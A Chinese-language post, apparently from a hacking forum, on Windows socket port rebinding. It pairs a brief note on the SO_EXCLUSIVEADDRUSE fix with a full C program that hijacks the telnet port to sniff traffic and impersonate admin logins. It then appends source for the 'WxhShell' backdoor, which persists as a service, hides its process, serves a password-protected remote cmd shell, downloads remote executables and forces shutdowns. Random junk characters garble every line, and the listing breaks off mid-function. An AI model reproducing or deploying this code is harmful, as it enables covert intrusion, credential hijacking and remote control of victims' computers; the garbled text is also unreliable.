在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
PqV9k,5f s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
2Zt :]be e~]3/ 0 saddr.sin_family = AF_INET;
Za68V/Vj y)iT-$bQ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
wBz?OnD/D +-tvNX%IJ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
.^6;_s>FN N~7xj? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!$&k@#v: K=,nX7Z5 这意味着什么?意味着可以进行如下的攻击:
'z$ BgXh\ u[nx?! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
&)`xlIw} i#Tm] ++ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Qvc "?yx8} zAT7^q^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
wh4ik`S 1 egQB!%D 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
X"_,#3Ko! gc``z9@Xg 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}uWIF|h~ iSDE6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
| R MIV Py2AnpYa 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
7|4t;F! 2fZVBj #include
M-inlZNR #include
&+V6mH9m@ #include
Z*&y8;vUQ #include
n0|oV(0FE DWORD WINAPI ClientThread(LPVOID lpParam);
\Tf[% Kt x int main()
_dOR-< {
fik*-$V` WORD wVersionRequested;
GIXxOea1 DWORD ret;
{Up@\M WSADATA wsaData;
TZ#(G BOOL val;
B \?We\y SOCKADDR_IN saddr;
Yq~$Q4 SOCKADDR_IN scaddr;
j8Nl'" int err;
nnr
g^F SOCKET s;
`/ ]Th&(5 SOCKET sc;
Ky"]L~8$ int caddsize;
* V;L|c HANDLE mt;
1, 5"sQ$ DWORD tid;
Vl=!^T}l+ wVersionRequested = MAKEWORD( 2, 2 );
p4l^b[p err = WSAStartup( wVersionRequested, &wsaData );
YrlOvXW if ( err != 0 ) {
,H6*9!Dv2 printf("error!WSAStartup failed!\n");
SN
w3xO!;& return -1;
B~S"1EE[ }
_X
?W)]: saddr.sin_family = AF_INET;
\:>GF-Z( `qP <S
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
FR%9Qb7 h)S223[ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
XLwmXi saddr.sin_port = htons(23);
IE/F =Wr if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z1wJ-l {
QuG=am?l` printf("error!socket failed!\n");
P#e1? return -1;
M#<U=Ha }
<'s_3AC val = TRUE;
8?p40x$m% //SO_REUSEADDR选项就是可以实现端口重绑定的
%V r vu5 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
:|j,x7&/{ {
21(8/F ~{ printf("error!setsockopt failed!\n");
hC1CISm.U return -1;
)ro3yq4?? }
|Z\?nZ~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
y"N7r1Pf //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>%qk2h> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
-P I$SA, ]IX6>p, if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
kR+xInDM* {
CKC%|xke ret=GetLastError();
ii0{$}eoh printf("error!bind failed!\n");
lqD.epm return -1;
t9zPUR }
f~U~f}Uw4 listen(s,2);
2t9JiH while(1)
U5rcI6 {
+|Tz<\.C caddsize = sizeof(scaddr);
?-'m#5i" //接受连接请求
/-Saz29f^Q sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
OnD!*jy if(sc!=INVALID_SOCKET)
(_:k s {
QU`M5{# mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
NO(^P+s if(mt==NULL)
93Z/|7 {
f?KHp| printf("Thread Creat Failed!\n");
DV={bcQ break;
U`{'-L. }
"Jd!TLt\x }
rL{3O4O CloseHandle(mt);
>Yr-aDV
}
@UbH;m closesocket(s);
z ^e99dz WSACleanup();
+ZuT\P&kR5 return 0;
I+qg'mo }
qG=?+em DWORD WINAPI ClientThread(LPVOID lpParam)
977%9z<h {
c~_nOd SOCKET ss = (SOCKET)lpParam;
96L-bBtyY SOCKET sc;
1|]IWX| unsigned char buf[4096];
to}g4 SOCKADDR_IN saddr;
/O,>s long num;
,'FH[2 DWORD val;
)<J|kC\r6c DWORD ret;
ll]MBq //如果是隐藏端口应用的话,可以在此处加一些判断
KKrLF?rc //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
:5Y
yI.T saddr.sin_family = AF_INET;
(P(=6-0 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
E5^P*6c( saddr.sin_port = htons(23);
O=,[u? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;$`5L"I5$ {
'7lHWqN< printf("error!socket failed!\n");
QNH-b9u>8 return -1;
|@84l }
l|,
Hj val = 100;
NNKI+!vg if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(8Q0?SZN {
)K=%s%3h< ret = GetLastError();
{P'_s]B) return -1;
5y
9(<}z }
W^a-K if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
VR8 kY& {
HDmjt+3&n ret = GetLastError();
SJseP_- return -1;
GJu[af }
x.5!F2$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
LB(I^ {
JEw+5MO@ printf("error!socket connect failed!\n");
4tQ~Z6Jn; closesocket(sc);
*3uBS2Ld closesocket(ss);
>
whcZ.8 return -1;
-qI8zs$:5 }
fU6O: - while(1)
{Xw6]d {
3MmpB9l#H //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
(D\7EH\9,] //如果是嗅探内容的话,可以再此处进行内容分析和记录
:,@"I$>*/ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_Q9 Mn-&qQ num = recv(ss,buf,4096,0);
)bd)noZi if(num>0)
$#ve^.VHv send(sc,buf,num,0);
-Kas9\VWEw else if(num==0)
:4Gc'bR break;
?S*Cvr+=4 num = recv(sc,buf,4096,0);
#[
H4`hZ if(num>0)
1g{-DIOmn send(ss,buf,num,0);
Nld y76|g else if(num==0)
u<g0oEs) break;
(G>S`B }
s6U$]9 ` closesocket(ss);
S'%|40U closesocket(sc);
-qbx:Kk( return 0 ;
F
K7cDaI }
|)Q#U$ m
6#J>b[Q gwA+%] ==========================================================
N$!aP/b }Wk^7[Y 下边附上一个代码,,WXhSHELL
qG6?k}\\
46^9O
5J ==========================================================
~nVO%IxM4J `{Jo>L. #include "stdafx.h"
rN3qTp A_y]6~Mu?~ #include <stdio.h>
Nf]h8d~ #include <string.h>
[$Dzf<0 #include <windows.h>
~6Xr^An/Z #include <winsock2.h>
V
6*ohC: #include <winsvc.h>
>=6 j: #include <urlmon.h>
h7P<3m} |3bCq(ZR\P #pragma comment (lib, "Ws2_32.lib")
s3/iG37K #pragma comment (lib, "urlmon.lib")
nF)b4`Nd Uhw:XV@m #define MAX_USER 100 // 最大客户端连接数
<hV%OrBz- #define BUF_SOCK 200 // sock buffer
'vX:)ZD i #define KEY_BUFF 255 // 输入 buffer
/q^\g4J ~pC\"LU` #define REBOOT 0 // 重启
JK/gq}c #define SHUTDOWN 1 // 关机
;
u@& [ t@;r~Sb
#define DEF_PORT 5000 // 监听端口
vG{lxPIj d:L|BkQ7* #define REG_LEN 16 // 注册表键长度
*y0=sG1+D #define SVC_LEN 80 // NT服务名长度
R1/h<I: F"ua`ercI // 从dll定义API
W>o>Y$H typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
W]CsKN,K typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
P3k@ptc-K typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
2.2G79U, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|>~pA} }0oVIr // wxhshell配置信息
tW
-f_0a. struct WSCFG {
QFNw2:) int ws_port; // 监听端口
X{u\|e{ char ws_passstr[REG_LEN]; // 口令
-z~;f<+I` int ws_autoins; // 安装标记, 1=yes 0=no
]zATdfa char ws_regname[REG_LEN]; // 注册表键名
?r'2GR2Sk4 char ws_svcname[REG_LEN]; // 服务名
h@{mcz char ws_svcdisp[SVC_LEN]; // 服务显示名
g}OZ!mKd char ws_svcdesc[SVC_LEN]; // 服务描述信息
1!=^mu8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
s L=}d[ int ws_downexe; // 下载执行标记, 1=yes 0=no
6Bf aB: char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
mUdj2vB$+' char ws_filenam[SVC_LEN]; // 下载后保存的文件名
*DcB?8% 8W2oGL6 };
Fd;%wWY.zm E;bv;RUio // default Wxhshell configuration
J=t@2 struct WSCFG wscfg={DEF_PORT,
;i,3KJ[L "xuhuanlingzhe",
[vTk*#Cl4 1,
};;k5z I% "Wxhshell",
DLH|y%" "Wxhshell",
L}\ oFjVju "WxhShell Service",
:[J'B4>9 "Wrsky Windows CmdShell Service",
a{@gzB "Please Input Your Password: ",
va[r~ 1,
.z, ot| "
http://www.wrsky.com/wxhshell.exe",
a797'{j#PI "Wxhshell.exe"
>/+R~ n };
;J,`v5z0: *TgD{>s // 消息定义模块
mMw--Gc? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
aP[oLk$'Z char *msg_ws_prompt="\n\r? for help\n\r#>";
e0ULr!p char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
o/hj~;(] char *msg_ws_ext="\n\rExit.";
FEA t6 char *msg_ws_end="\n\rQuit.";
FWW*f
_L char *msg_ws_boot="\n\rReboot...";
6E{(_i char *msg_ws_poff="\n\rShutdown...";
{u[_^ char *msg_ws_down="\n\rSave to ";
?UV|m @y2cC6+'t char *msg_ws_err="\n\rErr!";
oc"7|YG char *msg_ws_ok="\n\rOK!";
\DcO.`L J,*+Ak
~ char ExeFile[MAX_PATH];
hrW2#v int nUser = 0;
8 .t3`FGH HANDLE handles[MAX_USER];
%J8uVD.2 int OsIsNt;
Ip|=NQL> k_`h (R SERVICE_STATUS serviceStatus;
#A&49a3^1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
C@Wd Pjxj o8X? 1 // 函数声明
3<>DDY2bl int Install(void);
LSrKi$ int Uninstall(void);
w!jY(WKU int DownloadFile(char *sURL, SOCKET wsh);
Pq,iR J int Boot(int flag);
~? :>=x void HideProc(void);
V8rS~'{\ int GetOsVer(void);
"(mF5BE-E int Wxhshell(SOCKET wsl);
p,BoiYdi void TalkWithClient(void *cs);
tYp 185 int CmdShell(SOCKET sock);
u\(>a int StartFromService(void);
]P e8G(E! int StartWxhshell(LPSTR lpCmdLine);
)jjL' *|ef #-|D VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
1&RB=7.h VOID WINAPI NTServiceHandler( DWORD fdwControl );
Vqr]Ui ar_@"+tZ // 数据结构和表定义
0),fY(D2T SERVICE_TABLE_ENTRY DispatchTable[] =
DWS#q|j`" {
YjiMUi\V {wscfg.ws_svcname, NTServiceMain},
_
glB<r$ {NULL, NULL}
=>XjChM };
(}rBnD HWFLu // 自我安装
s Fx0 int Install(void)
9)>+r6t {
(7ujJ}#, char svExeFile[MAX_PATH];
2(5/#$t HKEY key;
eo~b]D strcpy(svExeFile,ExeFile);
/!%?I#K{Wq tn;{r // 如果是win9x系统,修改注册表设为自启动
/VD[: sU7 if(!OsIsNt) {
UrO&K]Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S`Z[MNY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
NA$%Up RegCloseKey(key);
6xFchdMG{m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Dutc#?bT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
PZVH=dagq RegCloseKey(key);
p6&<eMwFA return 0;
@1D3E = }
@Z5,j) }
xXfv({ }
k2(k0HFR else {
%Fx^" yqH9*&KH{ // 如果是NT以上系统,安装为系统服务
g_JQW(_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
gvr&7=p if (schSCManager!=0)
!>f:wk2 {
-s0\ 4 SC_HANDLE schService = CreateService
Zs8]A0$ (
vdigw.=z schSCManager,
qHvU4v wscfg.ws_svcname,
i-?mghe8 wscfg.ws_svcdisp,
Et
y?/ SERVICE_ALL_ACCESS,
Ezev
^O] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
?*.:*A SERVICE_AUTO_START,
$y{.fj y3 SERVICE_ERROR_NORMAL,
;p7R~17 svExeFile,
u@tH6k*cBz NULL,
-hq^';, NULL,
7yjun|Lt}X NULL,
.[+}nA,g%~ NULL,
jz Siw z NULL
tN.$4+ );
hiv {A9a? if (schService!=0)
_2{2Xb {
`q`ah_ CloseServiceHandle(schService);
W>qu~ak?x CloseServiceHandle(schSCManager);
f^KN8N strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
maa$kg8U*! strcat(svExeFile,wscfg.ws_svcname);
KoA +Vv9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7w]3D RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
N|%r5% RegCloseKey(key);
=k,?+h~ return 0;
X,Rl&K\b" }
#;5Qd' }
hk$I- CloseServiceHandle(schSCManager);
O hRf&5u$ }
JH u>\{ 8V }
e"*1l>g $:# :"
return 1;
w~:F? }
6(x53y__ ;Qi!~VsP; // 自我卸载
p1hF. int Uninstall(void)
lMG+,?<uK& {
5;G0$M0 HKEY key;
}/#*opcv & ['L7 if(!OsIsNt) {
Bp@\p)P( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&,3s2,1U( RegDeleteValue(key,wscfg.ws_regname);
|i~-,:/-Y RegCloseKey(key);
LwTdmR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@!j6y(@ RegDeleteValue(key,wscfg.ws_regname);
8TG|frS RegCloseKey(key);
}p-/R' return 0;
,0ilNi> }
{'[VL;k }
TvS<;0~K }
8)1=5n else {
"5z@A/Z/ kM[!UOnC!< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
mq:WBSsV if (schSCManager!=0)
x %9Ca)r?} {
/I1n${{5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
%IE;'aa
} if (schService!=0)
Z{:;LC {
mP/#hwzB&q if(DeleteService(schService)!=0) {
.{ZJywE< CloseServiceHandle(schService);
/R?[/`)f& CloseServiceHandle(schSCManager);
\jV2":[%c return 0;
9;uH}j8sE }
%'=2Jy6h CloseServiceHandle(schService);
>mp Nn }
F|y0q:U CloseServiceHandle(schSCManager);
#_`p
0wY }
%Y0BPTt$ }
q*,HN(&l? 0v9i43[S|J return 1;
e=p_qhBt }
B
u%%O8 \ltS~EuWU // 从指定url下载文件
\kf
n,m int DownloadFile(char *sURL, SOCKET wsh)
(v
KJyk+Y {
<P ?gP1_zi HRESULT hr;
!fd>wvJ,: char seps[]= "/";
64'QTF{D char *token;
n[r1h=?j3 char *file;
-sdzA6dp char myURL[MAX_PATH];
z C$F@ char myFILE[MAX_PATH];
xdDe@G;" i%F2^R@!q/ strcpy(myURL,sURL);
ZR0 OqSp] token=strtok(myURL,seps);
RRYcg{g while(token!=NULL)
2A =Y {
YU`k^a7%
file=token;
i `p1e5$ token=strtok(NULL,seps);
/*BK6hc }
1JdMw$H [{#TN GetCurrentDirectory(MAX_PATH,myFILE);
b{)kup strcat(myFILE, "\\");
M
#0v# {o strcat(myFILE, file);
$Q}L*4?] send(wsh,myFILE,strlen(myFILE),0);
N?#L{Yt send(wsh,"...",3,0);
_A&
[rBm| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
n9 FA`e if(hr==S_OK)
N+5f.c+S- return 0;
#lSGH 5Fp? else
(E 8jkc
return 1;
#K$0%0=M QhAYCw2 }
<;>k[P' 38l:Y" // 系统电源模块
&z*4Uij int Boot(int flag)
sAs`O@ {
w8cnSO HANDLE hToken;
U8HuqFC TOKEN_PRIVILEGES tkp;
mr_NArF "Wk K1u if(OsIsNt) {
8'fF{C OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
RtxAIMzh? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
]SL+ZT tkp.PrivilegeCount = 1;
PR(KDwsT&l tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
M&",7CPD(1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
1|G5 W: if(flag==REBOOT) {
p14$XV if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
k%-UW% return 0;
?$<~cD" Sw }
CI \O)iB else {
Bd;EI)JT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
$:-C9N29 return 0;
,,IK} }
'cIFbjJ }
_U*1D*kLI[ else {
6 !fq658 if(flag==REBOOT) {
$Op:-aW& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
j\Fbi3H return 0;
ZD$I-33W }
BtJF1#f else {
l+`CgYo if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
;
+Ie<oW return 0;
@8:c3(! }
=KnHa.% }
s-&i!d (tzAUrC return 1;
4
BNbS|?vV }
~U1: 0 :,/
\E // win9x进程隐藏模块
xs"\c7pC void HideProc(void)
$SniQ {
@}+B%R ]i
`~J HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
CJ#Yu3} if ( hKernel != NULL )
#0#6eT{- {
la]Zk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
G"vEtNoV ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
eD^(*a>( FreeLibrary(hKernel);
{@-tRm& }
IWhe N ms+gq return;
-*?{/QmKb }
:4"b(L M[R' // 获取操作系统版本
1JI7P?\B int GetOsVer(void)
WS@8Z0@RD {
ZQ_~
L!ot OSVERSIONINFO winfo;
dGR #l) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
IY(;:#l GetVersionEx(&winfo);
SQuW`EHBgs if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
t +CU return 1;
IueI7A else
x_4{MD^% return 0;
n!NA}Oa }
Zzr 4%TmW/yd // 客户端句柄模块
2qKAO/_O int Wxhshell(SOCKET wsl)
G#'G9/Tm {
*vzj(HGO SOCKET wsh;
k.H4Mf(4 struct sockaddr_in client;
C\cZ DWORD myID;
zfGr1; +2s][^-KV while(nUser<MAX_USER)
2QIo|$ {
VZA>ErB int nSize=sizeof(client);
fEyc3K'5V wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
7{=+Va5 if(wsh==INVALID_SOCKET) return 1;
!/e8x;_ qKuHd~M{ 1 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
$I\lJ8 if(handles[nUser]==0)
<>=abgg closesocket(wsh);
`
B+Pl6l)F else
Pj*"2
LBW# nUser++;
-9"[/ }
(i^<er q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
k,[[
CZ0j FWyfFCK return 0;
n(Ry~Xu_ }
[>kzQYT[ Yb>A?@S // 关闭 socket
bLz('mUY void CloseIt(SOCKET wsh)
v,c:cKj {
`%0k\,}V closesocket(wsh);
8uetv nUser--;
,aSK L1 ExitThread(0);
sRGIHT# }
V"sm+0J 5U JMiwP{ // 客户端请求句柄
<d3N2 void TalkWithClient(void *cs)
(_~Dyvo {
"eKM<S B+=Xb;p8 SOCKET wsh=(SOCKET)cs;
\YF'qWB char pwd[SVC_LEN];
fu`|@S char cmd[KEY_BUFF];
brt`oR char chr[1];
Cqw`K P int i,j;
J`A )WsKkb xgB-m[Xi while (nUser < MAX_USER) {
'C1yqkIa` xO'xZ%cUI if(wscfg.ws_passstr) {
kS(v|d if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
aaesgF //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C6}`qD //ZeroMemory(pwd,KEY_BUFF);
T:EUI] i=0;
Jd/XEs?<q while(i<SVC_LEN) {
K;(t@GL? JuXuS // 设置超时
dw< b}2 fd_set FdRead;
@)S d3xw[ struct timeval TimeOut;
*
n>YS FD_ZERO(&FdRead);
|K$EULzz FD_SET(wsh,&FdRead);
] Y6y ]u TimeOut.tv_sec=8;
'xc=N TimeOut.tv_usec=0;
T#R*] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
4B=@<(H if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
jD'$nKpg C2Af$7c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
}VXZM7@u pwd
=chr[0]; _^u^@.Q'i<
if(chr[0]==0xd || chr[0]==0xa) { {'eF;!!Dy
pwd=0; -&_;x&k
/
break; +^@6{1
} 5NAB^&{Z<X
i++; Cr$8\{2OA7
} \I`g[nT|
e't1.%w
// 如果是非法用户,关闭 socket .2:S0=xt<
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z?tw#n[T
} F6 c1YI[
8&KqrA86
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8n)3'ok
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nc[V kJ]
` z!?!"=
while(1) { /2e,,)4g
dW>$C_`?
ZeroMemory(cmd,KEY_BUFF); *%`jcF
Hs6}~d
// 自动支持客户端 telnet标准 B#;0{
j=0; joJ:*oL
while(j<KEY_BUFF) { "?TKz:9r
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wc-8j2M
cmd[j]=chr[0]; XP!7@:
if(chr[0]==0xa || chr[0]==0xd) { y@Q?
guB
cmd[j]=0; YO^iEI.
break; W0>fu>
} 2w? 5vSv
j++; OLM}en_L
} 0] $5jW6]
maTZNzy
// 下载文件 JPfE`NZ
if(strstr(cmd,"http://")) { TZ+2S93c
send(wsh,msg_ws_down,strlen(msg_ws_down),0); `h|>;u
if(DownloadFile(cmd,wsh)) qJrMr4:F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G@;I^_gN
else PFnq:G^L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qQ "O;_
} oc3}L^aD
else { d8Kxtg
Y
qo" _w%{
switch(cmd[0]) { z("Fy
0al8%z9e@
// 帮助 GcYT<pwN6
case '?': { H0 .,h;
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %!e;sL~&
break; \4e6\6 +
} k|c=O6GO
// 安装 qEbzF#a-:
case 'i': { k_<8SG+`
if(Install()) #XlE_XD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y3vm+tJc{
else ^9C9[$Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \v}3j^Yu
break; 19t'
} {b6g!sE
// 卸载 vz_ZXy9Z
case 'r': { kbkq.fYr
if(Uninstall()) |r=.}9
-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ib%x&?||
else \7Fkeo+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JKsdPW<?
break; @j Y_^8#S
} ?hQ,'M2
// 显示 wxhshell 所在路径 rX<gcntv
case 'p': { .5~W3v
<
char svExeFile[MAX_PATH]; Z/ypWoV(
strcpy(svExeFile,"\n\r"); _("&jfn
strcat(svExeFile,ExeFile); cOr@dUSL
send(wsh,svExeFile,strlen(svExeFile),0); SAEV "
break; 32sb$|eQq
} KVrK:W--p
// 重启 mTW@E#)n
case 'b': { `1[GY){?)
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bu2'JIDR
if(Boot(REBOOT)) t[ZumQ@HC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !F|iL
else { k5@_8Rc
closesocket(wsh); dIR6dI
ExitThread(0); =abth6#)
} )*Qa9+:
break; d^w*!<8
} :a4FO
// 关机 F& 'HZX
case 'd': { ,T|%vqbmw
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &Tf R].
if(Boot(SHUTDOWN)) .ZxH#l _
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6GD Uo}.
else { S0ct;CS
closesocket(wsh); Y{8L ~U:
ExitThread(0); ^8V cm*
} U&|$B|[
break; PUN.nt
} Qp?n0WXZ
// 获取shell ^gdg0y!5~
case 's': { -e{H 8ro
CmdShell(wsh); pw7_j;}l
closesocket(wsh); UI4Xv
ExitThread(0); "Jp6EL%
break; %V$ujun`
} a91Q*X%
// 退出 (!';
case 'x': { b'N"?W^YQ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aNW&ib
CloseIt(wsh); P-~Avb
break; J<_&f_K0]
} q\[31$i$
// 离开 w9}I*Nra
case 'q': { Y54*mn
send(wsh,msg_ws_end,strlen(msg_ws_end),0); v]*W*;
closesocket(wsh); uF T\a=
WSACleanup(); 0nAeeVz|
exit(1); Iw"?%k\U
break; }}qR~.[
} 8I C((
} nm'm*sU\
} @D"1}CW
S$"A[
// 提示信息 7$GP#V1r/
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @fpxGMy&
} YKh%`Y1<
} O)5-6lm
!00%z
return; ,XP9NHE
} i=2+1;K
UsQv!Cwu^
// shell模块句柄 [uRsB5
int CmdShell(SOCKET sock) g{$&j*Q9
{ (oJ#`k:&n
STARTUPINFO si; 2
;B[n;Q{
ZeroMemory(&si,sizeof(si)); rMlbj2T
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XB;;OP12
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 73xI8
PROCESS_INFORMATION ProcessInfo; 33Mr9Doon
char cmdline[]="cmd"; WaMn[/{
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +N4h
Q"
return 0; 9Zrn(D
} *8XGo
Y,mH ]
// 自身启动模式 sCb?TyN'n
int StartFromService(void) m Xw1%w[*
{ !9)*. 9[8
typedef struct dy`~%lX?
{ 1xtbhk]D
DWORD ExitStatus; Vxgc|E^J
DWORD PebBaseAddress; )QZ?Bf
DWORD AffinityMask; 6ldDt?iSg
DWORD BasePriority; fQx 4/4j
ULONG UniqueProcessId; SwP h-6
ULONG InheritedFromUniqueProcessId; b'-gy0
